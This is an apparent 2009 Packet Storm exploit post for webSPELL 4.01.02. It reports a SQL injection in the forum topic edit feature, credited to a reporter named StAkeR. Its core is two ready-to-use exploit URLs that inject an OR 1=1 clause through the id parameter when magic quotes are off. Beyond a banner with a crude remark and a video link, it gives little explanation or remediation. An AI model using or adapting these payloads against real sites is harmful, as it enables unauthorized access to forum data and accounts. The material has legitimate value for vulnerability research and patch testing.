webSPELL 4.01.02 Edit Topics Vulnerability

2009-01-06T00:00:00
ID PACKETSTORM:73591
Type packetstorm
Reporter StAkeR
Modified 2009-01-06T00:00:00

Description

                                        
                                            `+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+  
| webSPELL <= 4.01.02 (id) Remote Edit Topics Vulnerability | Note |  
+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+  
| discovered by athos - staker[at]hotmail[dot]it | magic quotes 0 |   
| download on http://wesbpell.org | enjoy your aids |  
+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+--=--=--=--=--=-=+  
| Exploit |  
| index.php?site=forum_topic&topic=[ID]&edit=true&id=1/**/%27/**/OR/**/1=1/* |  
| index.php?site=forum_topic&topic=1&edit=true&id=1/**/%27/**/OR/**/1=1/* |  
+=--=--=--=--=--+--=--=--=--=--=--=--=--=--=--=--=--=--=--=--+-=--=--=--=--=--=+  
| http://www.youtube.com/watch?v=SY1SwqLOC3c |  
+--=--=--=--=--=--=--=--=--=--=--=--=--=--=--+  
  
`